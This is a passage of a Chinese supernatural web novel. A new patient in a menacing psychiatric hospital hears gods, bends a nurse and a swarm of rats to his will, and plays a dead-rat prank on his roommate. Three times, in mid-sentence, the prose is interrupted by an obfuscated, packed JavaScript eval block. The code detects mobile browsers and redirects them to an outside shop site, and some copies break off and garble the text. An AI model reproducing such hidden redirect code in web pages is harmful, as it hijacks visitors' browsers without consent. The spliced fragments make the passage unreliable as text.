护士拿出小瓷盘,里面分别盛着两粒蓝色胶囊、一粒绿色胶囊和一粒白色胶囊。 她把绿色和蓝色地递给祝臬,蓝色和白色地递给尤浅,随后目不转睛地盯着他们。 胶囊在尤浅的手指肚里转来转去,原来这就是药啊,他把药放进掌心,低头闻了闻,一股苦涩清香的味道扑鼻。 倒是不难闻,他的眼神向左一瞥,发现祝臬已经将药咽下。 可这两粒药,功效好像有点奇怪? “不要想着逃避吃药,药物也是为了治愈你们。”护士见尤浅接过却不吃,于是耐心地提醒道。 “一天两顿药,你今天已经错过早上的了,下午这顿必须吃。” 尤浅抬眼对上护士小姐严肃的眼神,饶有兴味地勾起唇角,喝水仰脖,学着祝臬的动作将药咽下去。 他的喉结上下滚动,微凉的水带着胶囊滑落。 随后,“啊……”尤浅和祝臬在护士地指示下张大嘴巴。 王护士认认真真地掰着他们的脸看得仔细,两个人的口腔与舌头下面都没有藏药的痕迹。 对于他们的配合,王护士颇为认可,一时间脸色都好看了不少。 “下午的查房结束了,你们该睡午觉睡午觉,不到自由活动时间不要乱跑,晚上吃饭会有提醒。” 这句话与其说是在叮嘱两个人,不如说是专门对着尤浅说的,毕竟尤浅刚刚入院,对规章制度没有那么熟悉。 尤浅敏锐地察觉到护士的态度有所变化,更是顺杆子就往上爬,他试探性地揪住护士衣角,在护士蹙眉之前就以一种小心翼翼的语气开口。 “睡不着午觉的话也不可以出去嘛?之前……我也没有睡午觉的习惯来着。” 他微微低着头颅,减弱自己深邃立体的五官所带来的压迫感,通过浓密的鸦羽,探出一道湿漉漉的目光,就像是林间的小鹿,能勾出人心底的柔软。 这一招是腐烂甜果教的,祂说很有效果,于是尤浅便把它使用的得心应手。 “不行,不能出去,不过你睡不着的话可以在房间里走一走。”护士将下意识要脱口地呵斥压下,对上尤浅偷偷瞄过来的眼神,只觉得今天自己的耐心格外多。 病人撒泼打滚和病人撒娇卖萌是两种概念。 至少王护士觉得尤浅此时此刻有些可怜,或许她之前对待其他病人也太不耐烦了些,毕竟没有人愿意生病,而生病也不是他们的错…… 等陷入愧疚状态的护士离开,门被带上,确保护士没有回头后,尤浅身上柔弱的气质立刻消失干净,可怜兮兮的眼神也截然而止,他若有所思地托着脸,注视着外面。 在他侧边,目睹全部事情发生的祝臬看尤浅的眼神,就仿佛他发现了一个他从未见过的怪物。 他的神色复杂,想说什么,但最后什么也没说,而是直接把被子往脑袋上一蒙,准备入睡。 而神灵开始纷纷发言。 独眼:这个小姑娘人不错,她的眼神很干净! 敲钟人:监督病人吃药是她的职责,她完成的很好。 天下仙对于这些没有兴趣,祂直接向尤浅发问。 天下仙:你将药吃下,所求为何? 那个药有问题,祂不理解尤浅为什么明明知道药有问题,却还是选择将药实打实地吃下去。 群里安静下来,祂们都在等尤浅的回答。 而尤浅的答案很朴实无华,有钱:这样会更有趣啊~ 是神明们不理解的答案,但是祂们选择尊重尤浅的选择,因而没有借这个话题再说下去。 午休时间,外面巡逻的护士络绎不绝,和普通精神病院不一样,这里对病人的管控更严。 而这一点也体现在晚饭上。 尤浅和祝臬先后踏出病房,在一名护士的管理下,众多病人排成一队,就连那个想要来回进进出出五次的强迫症患者都在护士小姐的威严下,焦躁不安的待在队伍里。 尤浅就看着他把手指啃的鲜血淋漓,可这位陌生的护士却熟视无睹,直接忽略他,来到下一个人面前。 那是一位小姑娘,她的眼神飘忽迟缓,站在队伍里,身子也显得轻飘飘的,仿佛脚下不是地面,而是柔软的云朵,让她整个人都显得摇摆不定。 她痴痴地望着穿白衣服的护士,低声呢喃:“是梦……不,是现实,天使,不对,在梦里……” 可等她看清护士的面孔,她立刻哆嗦起来,嘴唇不住地颤抖,面色愈发苍白,她抗拒、惊恐的小幅度摇头:“是现实,是现实……我分得清,我分得清……” 还真是奇怪的地方呢,这里竟然也有类似的症状,尤浅踮起脚尖,从女生身上找到一些亲近感。 在他家,分不清梦境与现实的人活不了很久,他们迟早会死于污秽物的爆发。 但还没等他将周围的人观察仔细,队伍就开始缓慢前进,护士们就在两侧,用鹰一样的眼神瞪着他们,看的每个经过的病人都小心谨慎地快步经过。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299335|140213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在尤浅眼中,护士的危险程度并不高,可他总觉得病人看见护士就仿佛是看见自己的天敌一样,简直不要太违和矛盾。 那帮五大三粗的女生和男生,怎么看都比护士壮啊,但她们也像其他病人一样,瑟缩畏惧着每一位护士,准确来说,是在这里的每一位护士。 尤浅特意找了一番,里面并没有王护士。 吃饭的食堂在住院楼的右侧,中间需要穿过一处小花园,尤浅眼尖的发现小花园里的植物茂盛到不可思议,郁郁葱葱,几乎遮天蔽日。 他们一进到里面,温度就骤然凉下几度,当真是避暑圣地。 在小花园里,尤浅随着队伍走的直线,他注意到其中还有许多分岔路口,但那些分岔口细长曲折,植物更加密集。 尤浅在路口停了两秒,他揪住另一条路上的叶子,薅下来揉碎把玩,果然,植物汁液里有很浓的「枯萎」味道。 他随手把汁液抹到自己的衣服上,继续走着,食堂的楼只有上下两层,上面是医生护士等工作人员的用餐区,而下面是病人的就餐区。 铁质的银色桌子是一长条的形状,它被牢牢固定在地面上,椅子也被固定成不可移动的状态。 他们从后门进来,等最后一个人进来后,门被重重关上,一时间食堂的光亮肉眼可见的变暗了。 前面放着五个桶和一个长方形的盒子,三菜一汤一饭,还有一个饭后水果。 不愧是交了这么多钱进来的精神病院,伙食是真的不错,营养非常均衡。 而工作人员的干净程度也很高,他们纷纷戴着口罩与手套,拎着勺子等病人一个个过去排队盛饭,他们拥有相差不大的体型与身高,站在一起,就像一排复制人。 尤浅端着盘子,挨个盛完,回到规定的位置上,一低头便发现菜与饭的分量并不大。 菜肴色泽亮丽,糖色被炒得很好看,让人很有食欲,可尤浅却兴致缺缺,他搅动筷子在菜里翻来翻去,最终还是忍不住地叹了口气,夹起来吃了。 这些菜的味道不错,但外形他不喜欢,于是他就吃得缓慢且心不在焉。 他的身边是他的室友祝臬,他动作幅度很小的在用筷子夹菜,不翻不炒,不爱吃的就规规矩矩地挑出来,一口米饭一口菜,嚼完咽下再送下一口入嘴,不疾不徐吃得赏心悦目。 与那边用手抓饭、将饭和菜倒在桌面上搅和匀再吃的病人们形成鲜明对比。 尤浅鼓着腮帮子,咀嚼的速度越来越慢、越来越慢,他看向左前方那一桌人,眸子里闪着惊人的好奇。 那一桌大概做了五六个人,整个桌子空空荡荡,还有许多位子,但病人宁愿挤在一起,也没人坐在那里。 桌上的病人神色呆滞,目光的聚焦点也很奇怪,他们看着空气,而不是盘里的饭,拿着筷子的手一板一眼的,胳膊像是上了发条的机器,一卡一卡的往嘴里塞饭。 就像是发条木偶,仿佛吃饭只是为了满足生存需要,而不是为了从食物中品尝到经过加工的美味。 是的,尤浅注意到那群人基本上嚼都没嚼的就往下咽,而且他们只吃米饭,对于色香味俱全的菜连看都没有看一眼。 这简直是把异常刻在了脑门上。 尤浅加快速度把嘴里的食物咽下去,端着盘子就往那边走,一时间各种隐晦的目光从病人与护士眼中投递,纷纷聚焦在尤浅身上。 祝臬一挑眉,放慢了本就不快的吃饭速度,抱着看好戏的心态,面上露出满是恶意的期待,静静地准备看尤浅的笑话。 8. 呓语与疼痛 青年在诸多或隐蔽,或强烈直接的视线关注下,目标准确地坐下来,食盆与桌子相碰,发出“彭”的一声——他刻意地把放食盘的力道加大。 食堂里安静的可怕,只有尤浅身边还有勺子或筷子碰撞餐盘的声音。 其他人都在关注这边,气氛一时间窒息的可怕。 可他身边的病人却恍若未闻,仍僵硬地、一筷子一筷子地往嘴里塞饭。 筷子被他们拿得很紧,可被使用得很僵硬,尤浅离得近了,还能闻到一股从他们衣服下飘出的腐朽味道。 不是没有洗澡的臭味,而是体内器官衰老腐烂,由内而外,从每个毛孔里钻出来的……死气。 尤浅的碎发散落在脸上,经过光打出的阴影显得他的五官更为立体,整个人也像是刀鞘里那柄即将被拔出来的利器,周身染上一缕危险的气息。 可刀到底是没出鞘,一抹阴影覆下,完美地罩住尤浅的身体。 ??尤浅觉得衣领一紧,勒的他脖子疼,更有一股力气,把他从座椅上提了起来,他用脚尖点着地面,整个人已经半悬在空中。 “哇!哈哈哈哈!”食堂顿时炸开锅,时刻关注这边的病人们有地跳上椅子,有地跳上桌子,踩着食物拼命地鼓掌狂欢。 祝臬也笑意盈盈地放下筷子,跟着大家轻轻地拍了拍自己的手掌。 尤浅没有理睬周围的热闹,而是眸里淬出一汪狠厉的森凉,湛黑的眸子愈发幽深。 “滚回你的位置去!”巨大的怒吼响彻餐厅,震得所有人都安静下来。 原是一个满脸横肉的男护士伸出他那双比铁柱还要粗的胳膊,一把拎起尤浅的后脖领,正恶狠狠地瞪着他。 沙鲁洼露出一口尖锐的白牙,无声地冲着男人嘶吼。 布匹因承受大半重量而发出撕裂声,尤浅的喉咙被衣领勒紧,气管因此变得狭小,因为氧气的汲取量不足,他的眼前已经开始闪动黑白光点,可他却全然不顾,只唇角缓慢地勾出一抹阴冷的弧度。 他从喉咙里溢出一声短促地笑,黑色的虹膜中扩散出星星点点的紫色,他张开充血涨红的唇瓣,从齿间吐露出带着些沙哑地命令:“松手。” 简简单单的两个字却令男人饱含怒意的表情一顿,连瞳孔都骤然涣散一瞬,手也下意识地松开。 尤浅落地站稳,眼眸重新变回黑色,他整了整自己被薅歪的领子,身高明明比男人矮一头,却在刚刚恢复清醒的男人眼里变得恐怖起来。 男护士咽下一口口水,双手不自觉地合在一起搓了搓,他刚刚是怎么了? 为什么那么轻易的把病人…… “吁——!”病人因为看不到热闹,开始表示不满,这刚多久啊,怎么就放手了呢? 有好事者吹出一声响亮的口哨,直接嘲讽意味拉满,这无疑是一个无形的巴掌狠狠地甩在男护士脸上。 他努力地摆出一副凶恶的表情,恼羞成怒地扫射四周:“看什么看?吃你们的饭!” 看好戏的病人瘪了瘪嘴,他们看了看男护士结实的身躯,又摸了摸自己薄弱的小身板,感受到了巨大的差距。 他们是精神病,但不是傻子,没有人愿意身先士卒地尝尝男护士的手段,于是纷纷不情不愿地坐下继续吃饭。 “你!”男护士的眼睛瞪的硕大,尤浅慢悠悠地掀起眼帘,温柔的重复道:“我?我怎么啦?” 男护士忌惮于刚刚摸不清原因的失控,开始拼命回想,难不成是……他的眼球里爬出一片叶子印记,又飞快消失。 如果真是那样的话,他的眼中闪过一丝惧怕,心里的怒气犹如被扎破的气球,一秒泄光,再也顾不得害自己丢面子的尤浅。 他举起手指着尤浅,有意的保持冷静,却不知道眼里的情绪已经把他卖的干净,依然低吼道:“新人,你给我滚回去,我保证,你不会想知道镇静剂的滋味的。” 尤浅耸了耸肩,他看见了那片叶子,这名男护士已经是个死人了,他不和死人较劲。于是他意味不明地摇摇头,拿着盘子溜溜达达,宛若在花园散步般地走回去。 恰巧祝臬吃完盘子里最后一粒米,正慢慢地喝汤,他饶有兴致地瞥了一眼和没事人一样的尤浅,哼笑一声,又埋头把汤喝完。 汤他喝的缓慢,因为他在不知不觉中吃撑了…… 在整个用餐与最后离开的过程里,尤浅特意地关注着那几个像活死人般的病人,他发现他们吃完饭没有和普通病人一样玩闹起来,而是坐在原位一动不动。 有从二楼下来的护士把人领走,一个护士领一个病人,尤浅目送三对护士病人离开。 原来还有一对一单独服务啊,他起身在护士地呵斥下与大部队一同走出食堂。 他们在王护士的监督下收拾好自己,八点准时熄灯,整个走廊的灯光暗下,只留有一侧灯带幽幽闪着白光。 昏暗的走廊与被关紧的房门,时不时还有病人发病时的嚎叫,尤浅侧躺在床上,一轮弯月散发着淡淡的光芒,透过窗帘在屋内的地板上,拉出一片白。 在黑夜里,任何动静都是清晰的,而时间的流逝也是飞快的。 不知不觉中,祝臬与尤浅的呼吸声都陷入平稳的状态,外面病人地叫声也渐渐消失,此时此刻才是寂静夜晚的真正来临。 窸窣声从左边的床铺上响起,祝臬睁开双眼,僵硬地坐起身,一双黑眸突地睁开,里面黝黑一片。 他除了从床上坐起来弄出一点声音外,下地、走路,一点声音也没有。 月光煞白,照的祝臬的眼珠愈发得黑,在黑发黑眸的映衬下,脸便被衬托出如死人般的惨白,半点没有感情的眼睛死死地定在尤浅身上。 他像个吊死鬼一样,直愣愣地站在床边,直勾勾地、一眼不错地看着尤浅。 一阵玄学奥妙的语言碎碎地响起,不知名的音节裹挟着浓郁的阴冷,就像是墙角边被大雨淋了三天三夜催生出来的青苔,潮湿,闷着庞大的水汽。 这种沉甸甸的水汽呼在人的脸上,顺着皮肤钻入每一处毛孔,一路蔓延到脑子里,每一滴水都像是蕴含着无数信息碎片,随着低沉的呓语一声声响起,撑得人脑子不住的胀疼,里面如同偷偷溜进几条蠕虫,在神经里肆意地打滚。 感受着如潮汐般汹涌地冲击,尤浅蒙在被子里的下半张脸,却轻轻地勾出一个弧度,多么熟悉但又陌生的感觉! 这种痛苦,这种被不明知识充满脑子,整个□□都变得充盈肿胀起来的感觉…… 当真是令人怀念。 神啊……尤浅在心里轻轻喟叹。 他想起他年幼时,被神明关注到的那一瞬间,就如同今天一般,痛苦却又令人满足。 那时的他正躲在街道尽头,被污秽感染的人在他面前爆炸,血液与肉块如同炸开的烟火,四处飞溅,在空中划出一道道流星的尾火。 有些溅到尤浅脸上,可本该难闻的血腥味在污秽的影响下变得如蜜汁甘甜,他太饿了…… 饿的肠胃火辣辣的难受。 他必须要吃些什么,他要活着,他想活下去,他还有事情要做…… 于是他懵懂的用大拇指揩下血渍,放进口腔里,像刚出生本能喝奶的猫崽,用舌头裹住,将指腹上的血舔舐干净。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299336|140213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 污秽的气息无处不在,一缕缕黑线在尤浅体内飞快蔓延,尤浅身子颤抖地跪在地上,手指死死地扣着地上的碎石,指甲迸裂,丝丝缕缕的血液就滴落在大地上,被泥土吸食。 随后便是阴暗污浊,就算是听见哪怕一个音节,也会让人承受不住死去的声音骤然响彻在尤浅的脑子里。 那道声音尖锐又雄厚,低沉又高亢,仿佛无数生物的鸣叫与吼声都在里面,又有似男似女似孩童的糅杂体,拼命的要从尤浅的脑子里挤出去。 “嗬……嗬……”尤浅痛苦万分,体内的血液顺着眼角与鼻腔滑落,他捂住耳朵,但无济于事。 身体里的器官已经不听指挥的蠕动,好像拥有了自我意识,它们也想跑出体内,于是他忍无可忍地低吼一声:“闭嘴。” 那道快要杀死他的声音戛然而止。 而土地开始猛然地晃动,人们习以为常地扶好周围牢固的物件,稳住自己的身子,随后垂头尊敬的祷告……向神明,向孕育世界的神明,他们在拼尽全力地歌颂与赞美。 四方海洋与土壤。 您是承载世界的身躯,是孕育无数的最初。 万物在您地托举下繁荣昌盛。 生命的脉搏在您身上跳动。 赞美您,铸造世界的基石。 世界与生命诞育之神。 ——荒诞延续之四方! 而大半时间都在沉睡的神,仁慈地给予反馈。 祂借着作为沟通桥梁的水晶球给自己虔诚的信徒下达命令,祂说:“去找,去找到那个可以聆听祂声音的人类。” “吱呀——”门被打开的声音,让尤浅从回忆里脱离。 一道身影从门缝里消失不见。 可即便是人走了,尤浅也躺在床上一动不动,唯有手指微不可查地晃动一下,蜷缩在他影子里,正在呼呼大睡的沙鲁洼惊醒,它委屈的哼唧两下,尽职尽责地跟了上去。 而尤浅仍然沉浸在这股疼痛当中,因为屋内没人,于是他肆无忌惮的笑出声音,笑声低沉却连绵不断,汗水也随着身体的震动顺着额角淌下,一路蜿蜒没入宽松的衣领。 敲钟人:@有钱,或许你该出去看看。 而玩耍一圈回来的子孙满堂,则在群里大大咧咧地提起另一个话题。 子孙满堂:你们那个室友长得不错~可以多多关照一下小帅哥啦! 但这句话刚刚发出来,就被管理员敲钟者飞快撤回。 【子孙满堂已被管理员敲钟者禁言五个小时。】 ?? 看着消息发送失败的弹窗提醒,子孙满堂差点被气笑了,他闭了闭翡翠绿一样的眼睛,再睁开时就带着些报复心理,高扬起头颅,脖颈弓出优美的弧度,大大咧咧地露出脖子上的吻痕。 生怕敲钟者看得不够仔细,还伸出两节修长的手指扯了扯自己本就大幅度敞开的衣领。 敲钟者被上面青紫色的吻痕刺激地攥紧指节,祂面无表情地瞪着子孙满堂。 这个混蛋,都什么时候了,还在外面寻欢作乐,胡来乱搞? “呐,你这么古板的性子真的很无聊啊。”子孙满堂满意地调侃道。 有钱:再等一会。 尤浅觉得还不是时候,他第一次听到神明的声音差点死去,等第二次、第三次……他早已适应神明的精神污染,早在六七年前,就没有感受到类似的痛感了。 如今猛的感受到,他真的怪想念的。 再多体验一会会,尤浅阖眸把被子拉到头顶,整个人缩在被褥里被暖呼呼的热气包裹。 就一会…… 9. 老鼠,打一架 终于一股饿意打断了尤浅追忆的过程。 他捋了捋潮湿的头发,脑海里的呓语像涨潮般涌来,也像退潮般散去。 如果不是尤浅自己愿意,那点半调子精神污染根本不可能对他造成半点影响。 「枯萎」的尊位比不得自己信奉的神灵。 就算是涵盖「枯萎」的总异端能量体「生命」,也同样和真正的神灵差出一段距离呢! 尤浅按住咕咕叫的肚子,从床上下来,把被子隆出人的弧度,再扭开房门,沿着白天走过的路,决定夜探食堂。 一路上,他靠着神明的提示,完美避开护士巡逻。 这家病院没有监控,也不知道有多少阴暗的小动作被埋葬,但显然,这同样为尤浅提供了很多便利。 花园里的植物在光源黯淡的情况下,被月夜包裹出它们枯瘦的枝干,无数瘦长的影子影影倬倬,看上去比白天更加诡异,张牙舞爪的枝叶有的高有的低,它们肆意生长,在植物茂盛的地方却也勾勒出荒凉的氛围。 尤浅慢慢悠悠地走在小路上,他觉得并不是孤身一人,两侧的植物被风吹的簌簌作响,地上的影也在扭来扭去地晃动。 它们都在陪着他,也宛若一双双无形的眼睛,盯着他。 走了一会,前方出现一点光亮,原来深夜的食堂并没有完全的黑下来,而是从玻璃内往外透着一种不详的红色。 借着模糊的光与玻璃,还有一堆小影子时不时地窜来窜去。 尤浅看着门锁,尝试地推门,没想到还真被他推开了,看来这里不锁门也是惯例,病人居住的大楼门也没有被锁上。 食堂的大门刚被打开一条缝,一抹灰色身影就照着他的脸扑过来。 “啧……”尤浅不耐烦地捏住一只黑灰色、快要跳到他头上的大灰老鼠。 大灰老鼠吱吱叫着,四个短细的小腿在空中乱摆,硕大的脑袋努力的往上够,张着嘴要咬尤浅的手。 老鼠的眼睛通红,毛发短且粗,拿在手里就像是捏住了钢丝球,剐蹭的皮肤隐隐发疼。 它的口鼻处皆是猩红一片。 闯入鼠巢的青年身边“吱吱”声一片。 他没低头,而是直接抬脚踩住一只窜过来的老鼠,隔着鞋子都能感受到底下坚韧又柔软的□□,他用力往下碾,“噗嗤——”鞋底下爆开一团血浆。 血肉像是烂泥一样,糊在地面,两颗溜溜转动的眼珠子滚落,鼠群的嘴巴吧唧吧唧地停下,它们安静下来。 黑红色的灯下,密密麻麻的耗子铺了满地,此时就像是知道有人闯入它们的领地,一双双猩红的眼睛望向门口。 整个食堂都变成血腥可怖的地狱,而老鼠的眼睛就是扎根在里面的路灯,挤挤攘攘的生怕地狱太暗、太单调。 整个食堂已经被老鼠占领了。 尤浅用时轻时重的力道捏着掌心里温热的活物,游刃有余地把玩着那只拼命挣扎、活像个尖叫鸡般有趣的老鼠。 “看来,这里没有我可以吃的东西了?” 尤浅不开心地迈步往里走,这才发现食堂的厨房里,食材少得可怜。 就算是被耗子嚯嚯一堆,但通过地面与桶里的残渣分析,也能分析出在做完晚饭后,那些工作人员根本就没想着留下更多的食材。 看来这里的人对晚上的情况不是一无所知啊,连有东西偷家都清楚。 尤浅因为吃不到东西而升起一股急躁,他手下的力度越来越大、越来越大,老鼠从一开始尖锐地惨叫到后来的奄奄一息,不过是过了两三分钟。 “啊……”尤浅烦躁地叹气,最终一个没控制好,指节紧紧地勒进皮毛,直接将老鼠在掌心里捏爆。 黏黏糊糊的肉块糊满他的指缝,暗红色的血遵循着重力滴滴答答地流下来。 被弄了一手的尤浅更烦了,他倦怠地松开手,老鼠破破烂烂的尸体落地发出沉闷的一声。 新鲜的血肉味勾起众多老鼠的贪欲,它们用贪婪的眼神看着地面上的尸体,也用贪婪的眼神看着尤浅。 想将自己生吞活剥? 尤浅无语地翻出白眼,腥臭的血腥味往他鼻子里钻,他蹙眉却从中闻到了一股和「枯萎」本源相似,但属性截然不同的气息。 这是……尤浅的手掌贴近鼻尖,而他的余光却瞄到数量庞多的老鼠开始向他这边涌来,紫光从眼中闪过,他不耐烦地:“你们,自相残杀。” 老鼠的红色眼球挪动,它们和疯了一样用尖锐的牙齿磕到同伴的皮肉,连抓带挠地争斗起来。 即便是尤浅的虹膜颜色再度被黑色占据,它们也在血气与嗜血的本能下被冲晕头脑,无法停下。 尤浅的饿意来得快、去得也快,他转身要离开,在手已经碰到大门时,突然想起来自己的室友,他顿住脚步,目光徘徊在地面上逐渐堆积起来的老鼠尸体上…… 他若有所思。 …… 等尤浅回到病房时,室友仍没回来,沙鲁洼也迟迟未归,他把手里的东西埋进祝臬被子里,又顺手蹭了蹭被单,才心满意足地钻回自己的被窝。 祝臬一宿未归。 第二天清晨,他才卡着护士来叫起床的时间,提前半个小时回来。 关上门的那一刻,他脸上的兴奋还没有完全消散,想来,他拥有一个美好的夜生活。 可这一切,都在他整理自己被子时了无踪影。 祝臬面上的激动还有些残存,但这些激动与后浮现的疑惑、惊惧、愤怒、嫌弃与不可置信等等混在一起,便在脸上绽开一抹五彩缤纷的狰狞。 他的手抖动幅度越来越大,他捏着被子的一角,死死地盯着里面,看了又看,最终他的表情才定格在想要杀人的恼怒上。 那里赫然裹着一只僵硬的、硕大的死老鼠!! 啊啊啊啊啊!!虽说祝臬的洁癖不是很严重,但是老鼠,那是老鼠啊! 在他的床上……一只死的不能再死的死老鼠…… 他觉得自己的脑浆瞬间如同火山喷发一样爆发,已经生气到控制不住自己的程度了。 他犹如一头愤怒的公牛,或者是一只辛辛苦苦、花了很久时间才搭建好窝,但是出去一趟,回来却发现窝被邻居毁了的喜鹊。 尤浅只觉得屋内突然有了杀气,而脸上突然掉下来毛茸茸、冰冷的玩意,他警惕地睁眼,还不等仍沉浸在梦里的大脑反应一下,就本能的把脸上的东西抓起扔出去,并向身侧转动,后背撞到床边的金属栏杆上。 “你干嘛啊?”尤浅有些委屈,他不解地看着不远处胸膛不住起伏、已经狠狠砸下一拳,砸到自己刚才躺着的位置上的祝臬。 这家伙,爆发力还挺强。 那里的床垫已经凹陷下半个拳头的深度。 那只被扔出去的工具老鼠“啪叽”一下,在地上继续躺板板。 尤浅趁机呸呸两口,吐出一口老鼠毛,瘪了瘪嘴,即便他什么都可以吃……但如果有的选,他还是喜欢被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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可脖颈一痛,他连话都没说出口,冰凉的液体就和血液糅杂在一起,蔓延到全身,体内的力气以一种他想象不到的速度快速消失。 他软趴趴的顺着栏杆滑下去,坐在地面上,无力地垂着脑袋。 而护士显然一视同仁,祝臬肯定也挨了一下,因为尤浅半眯着眼,发现耳边络绎不绝的骂声消停下来了。 王护士显然很是诧异,尽管她扎针的手非常稳,动作也丝毫没有犹豫,但她面上的表情出卖了她。 她怎么也想不到,昨天还乖乖的病人,今天就闹出事情,不,她对于病人会闹起来的事情早有准备,只不过没想到的反差会这么大。 护士暗自感叹,果然精神病人在发病期都是大差不差的。 “他……他,”祝臬极力发出清晰的气音,到这一刻还不忘记控诉尤浅。 尤浅都有些佩服他的毅力了。 祝臬张着嘴,无力地吐着舌头,断断续续、缓慢却坚定地往外吐字:“他,老鼠……我……我打……” “你想说,这个老鼠是他的,然后你因为老鼠和他打起来了?”王护士试图理解。 祝臬见护士理解,开心地点头,眼神都变得亮晶晶的。 尤浅的手搭在床上,他已经从无力的状态里缓过来了,但仍蔫耷耷地继续伪装成一个依旧受影响的人。 “我……不,不……”他努力地学祝臬说话的样子,也艰难且缓慢地道:“知,知道!” “你……撒,谎,撒……谎。”祝臬也不乐意了,他急切的喘了两口气,再度很顽固地反驳。 王护士有些头疼地揉揉太阳穴,“你们……”这叫什么事啊? 她犹豫地看向门口,迟迟没有动作。 10. 沙鲁洼沙鲁洼 精神病人就是这样的,有时候做事毫无逻辑,在发病时可能自己都不知道自己在做什么。 王护士收回目光,她先看了眼祝臬,然后又看向尤浅,最后停在祝臬身上几秒,无奈地叹气。 为了他们的安全着想,也想起几位前辈的冷漠,她最终还是放弃上报的打算。 她并没有出门呼唤其她人来,而是选择自己努力,她先把床单被子等换掉,再把祝臬和尤浅扶到床上,想办法粉饰太平。 她站在两个人的病床中间,没有顾及额头上冒出的小汗珠,而是特别严肃地叮嘱着。 “这次就算了,下次无论发生什么事都不准打架,不然其她护士的手段可不会像我一样温柔。” 她果然还是不希望病人被关小黑屋。 那里出来的病人…… 她有些不忍地加强语气,更为强硬地重复一遍:“不准打架,无论发生什么事情都不准打架。” 至于药剂的损耗,她不知道为什么,但这里确实对于药物查得很松,王护士并没有把这件事当做破绽。 她见两个人都老实下来,连本该给他们吃的药都没让他们吃下,只是说道:“浑身无力的药效大概到下午才会消退,今天你们只有晚饭可以吃了。” 王护士摇摇头,带着老鼠关门离开。 尤浅坏心眼的在她离开后,直接坐起来,在一脸震惊的祝臬面前,嘚瑟地走来走去。 “不……你,啊……?”药效下,祝臬说话还不利落,但他话里话外的疑惑已经满到溢出来了。 “我怎么啦?”尤浅凑到病床边上,居高临下地注视着成大字型、平躺着的祝臬。 直到这时,他才真正的注意到祝臬的长相,往常祝臬脸上老是带着夸张的表情,变来变去的,叫人看不真切。 祝臬的脸棱角分明,或许是因为在病院里昼夜作息不稳定,他显然消瘦的有些脱相,而略长的头发因为打斗散乱,细碎的阴影打在脸上,他简直阴郁的像个蘑菇。 但正如子孙满堂说的那样,他很俊美,即便是现在,他浑身上下都带着病态、压抑的美感。 祝臬的眼睛瞪得很大,他也不眨眼,就直直地看着尤浅,好似要把尤浅的每一处都看得仔仔细细,而嘴边还顽强地勾着一抹癫狂的笑意。 这个笑容和没有一样,但尤浅还是注意到了。 尤浅锁骨的凹陷处泛起一层青紫,而修长的脖颈上,也有一块又一块赤紫嫣红的印子。 这都是祝臬的杰作,但显然他不怎么满足,他还是想骂人,但是他现在骂不了人。 于是他开始在床上疯狂扭动,活像一条脱水的鱼。 “噗。”尤浅根本不打算忍下自己的笑声,他抬手摸了摸自己那串刺痛的痕迹,他现在要开始报仇啦! 无法自由活动的祝臬就像一只嗷嗷待宰的羔羊,只能手无缚鸡之力的任人宰割。 不过尤浅在某种意义上很双标,他不喜欢男护士粗鲁地薅住他,但却因为祝臬伤到自己而对祝臬刮目相看。 导致他出现对待偏差的原因,或许连尤浅也不知道,不过没关系,他向来随心而行,不会深究自己行动的逻辑。 所以在玩够了之后,他还提前帮助祝臬恢复正常。 这也导致心里有气的祝臬犹如脱缰的野马,在屋里疯狂地摔砸东西,浮夸的大笑乱蹦,很理所当然的,他又被听见动静的王护士来了一针。 尤浅耸了耸肩膀,这回祝臬直接错过晚饭,等尤浅吃完饭,再度好心的帮他解开药效时,他老实了。 祝臬瘫在床上一动不动,独自生着闷气。 “好啦,想开点,至少你今天一天都没吃又苦又涩的药啊。”尤浅笑嘻嘻地安慰他。 祝臬则选择抱着肚子不吭声,他现在说不准是因为药剂而泛恶心,还是因为饿太久了,反正他的肠胃在拼命地抗议。 他头晕目眩的说不出话,甚至连脸上夸张的表情也做不出一点 最终在躺在床上准备睡觉时,尤浅才听见一声微不可查的“谢谢”。 尤浅挑眉没往心里去,而这个晚上,祝臬也没有溜出房间。 等等,他是不是忘了什么? 在临睡前,尤浅心里快速闪过这么一丝念头,但最终被他抛之脑后。 毕竟天大地大,现在睡觉最大。 …… 在精神病院里生活的第三天。 尤浅照常和祝臬一起在王护士的监督下吃药,他坐在餐厅的椅子上,啃着手里的面包,疑惑的“嗯”了一声。 在他身边,是被饿了一天的祝臬。 虽然很饿,但他依旧吃得慢条斯理,只见他先将面包撕成条,再一口一口的用筷子夹着往嘴里送,吃的很认真,也很旁若无人。 听见尤浅上挑的声调,他才抬眼顺着尤浅的目光看去。 前方,如行尸走肉般的病人,少了两位。 他的眼神陡然一变,变得像是压抑着什么,神神叨叨的凑到尤浅耳边,“别看他们,他们被选中了。” “被选中的人不需要别人在意,注视是冒犯,理解是冒犯,不要看……” 清浅的呼吸喷洒在尤浅的耳部轮廓,有些气流顺着钻入耳道,弄得尤浅有些痒痒。 但是很有趣!这种感觉,还是他第一次体验。 